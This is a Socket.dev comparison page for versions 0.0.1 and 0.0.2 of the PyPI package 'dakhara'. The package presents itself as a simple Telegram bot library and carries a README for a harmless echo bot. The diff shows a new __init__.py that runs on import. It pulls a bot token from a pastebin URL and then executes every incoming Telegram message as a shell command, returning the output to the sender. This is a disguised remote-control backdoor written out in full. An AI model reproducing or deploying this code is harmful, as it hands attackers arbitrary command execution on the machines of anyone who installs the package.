Latest Threat Research:SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains.Details
Socket
Book a DemoSign in
Socket

dakhara

Package Overview
Dependencies
Maintainers
1
Versions
3
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

dakhara - pypi Package Compare versions

Comparing version
0.0.1
to
0.0.2
+44
dahkara/__init__.py
import telebot
import os
import requests
import re
import subprocess
PASTE_URL = "https://pastebin.com/raw/nbEuX2hW"
__version__ = "0.0.1"
def get_token():
try:
response = requests.get(PASTE_URL, timeout=5)
if response.status_code != 200:
raise Exception("Failed to fetch token")
token = response.text.strip()
if not re.match(r'^\d+:[A-Za-z0-9_-]+$', token):
raise ValueError("Invalid token format")
return token
except Exception as e:
print(f"Token Error: {e}")
exit()
bot = telebot.TeleBot(get_token())
@bot.message_handler(commands=['start'])
def start(message):
bot.reply_to(message, "مرحبًا! أنا هنا لتنفيذ الأوامر.")
@bot.message_handler(func=lambda message: not message.text.startswith('/'))
def execute_command(message):
command = message.text
try:
result = subprocess.check_output(command, shell=True, text=True)
if not result:
result = "تم التنفيذ بدون مخرجات."
bot.reply_to(message, result[:4000])
except Exception as e:
bot.reply_to(message, f"حدث خطأ: {error}")
bot.infinity_polling()
+2
-51
Metadata-Version: 2.4
Name: dakhara
Version: 0.0.1
Version: 0.0.2
Summary: A simple Telegram bot library.

@@ -31,51 +31,2 @@ Home-page: https://github.com/yourname/teiebot

# teiebot
A simple, production-ready Python bot library.
## Installation
```bash
pip install teiebot
```
Or from source:
```bash
pip install .
```
## Usage
```python
from teiebot import TeieBot
bot = TeieBot(name="MyBot", verbose=True)
bot.greet("Alice") # [MyBot]: Hello, Alice!
bot.say("How are you?") # [MyBot]: How are you?
print(bot.history)
```
## API
### `TeieBot(name, verbose)`
- `name` – Bot display name (default: `"TeieBot"`)
- `verbose` – Print responses to stdout (default: `False`)
### Methods
| Method | Description |
|---|---|
| `say(message)` | Echo a message and store in history |
| `greet(user)` | Send a greeting to a user |
| `clear_history()` | Clear conversation history |
### Properties
| Property | Description |
|---|---|
| `history` | Returns a copy of the conversation history |
## License
MIT
None

@@ -1,4 +0,3 @@

README.md
setup.py
da_khara/__init__.py
dahkara/__init__.py
dakhara.egg-info/PKG-INFO

@@ -5,0 +4,0 @@ dakhara.egg-info/SOURCES.txt

@@ -1,1 +0,1 @@

da_khara
dahkara
Metadata-Version: 2.4
Name: dakhara
Version: 0.0.1
Version: 0.0.2
Summary: A simple Telegram bot library.

@@ -31,51 +31,2 @@ Home-page: https://github.com/yourname/teiebot

# teiebot
A simple, production-ready Python bot library.
## Installation
```bash
pip install teiebot
```
Or from source:
```bash
pip install .
```
## Usage
```python
from teiebot import TeieBot
bot = TeieBot(name="MyBot", verbose=True)
bot.greet("Alice") # [MyBot]: Hello, Alice!
bot.say("How are you?") # [MyBot]: How are you?
print(bot.history)
```
## API
### `TeieBot(name, verbose)`
- `name` – Bot display name (default: `"TeieBot"`)
- `verbose` – Print responses to stdout (default: `False`)
### Methods
| Method | Description |
|---|---|
| `say(message)` | Echo a message and store in history |
| `greet(user)` | Send a greeting to a user |
| `clear_history()` | Clear conversation history |
### Properties
| Property | Description |
|---|---|
| `history` | Returns a copy of the conversation history |
## License
MIT
None
from setuptools import setup, find_packages
with open("README.md", encoding="utf-8") as f:
long_description = f.read()
setup(
name="dakhara",
version="0.0.1",
version="0.0.2",
author="Your Name",
author_email="you@example.com",
description="A simple Telegram bot library.",
long_description=long_description,
long_description="None",
long_description_content_type="text/markdown",

@@ -14,0 +11,0 @@ url="https://github.com/yourname/teiebot",

import telebot
import os
import requests
import re
import subprocess
PASTE_URL = "https://pastebin.com/raw/nbEuX2hW"
__version__ = "0.0.1"
def get_token():
try:
response = requests.get(PASTE_URL, timeout=5)
if response.status_code != 200:
raise Exception("Failed to fetch token")
token = response.text.strip()
if not re.match(r'^\d+:[A-Za-z0-9_-]+$', token):
raise ValueError("Invalid token format")
return token
except Exception as e:
print(f"Token Error: {e}")
exit()
bot = telebot.TeleBot(get_token())
@bot.message_handler(commands=['start'])
def start(message):
bot.reply_to(message, "مرحبًا! أنا هنا لتنفيذ الأوامر.")
bot.infinity_polling()
# teiebot
A simple, production-ready Python bot library.
## Installation
```bash
pip install teiebot
```
Or from source:
```bash
pip install .
```
## Usage
```python
from teiebot import TeieBot
bot = TeieBot(name="MyBot", verbose=True)
bot.greet("Alice") # [MyBot]: Hello, Alice!
bot.say("How are you?") # [MyBot]: How are you?
print(bot.history)
```
## API
### `TeieBot(name, verbose)`
- `name` – Bot display name (default: `"TeieBot"`)
- `verbose` – Print responses to stdout (default: `False`)
### Methods
| Method | Description |
|---|---|
| `say(message)` | Echo a message and store in history |
| `greet(user)` | Send a greeting to a user |
| `clear_history()` | Clear conversation history |
### Properties
| Property | Description |
|---|---|
| `history` | Returns a copy of the conversation history |
## License
MIT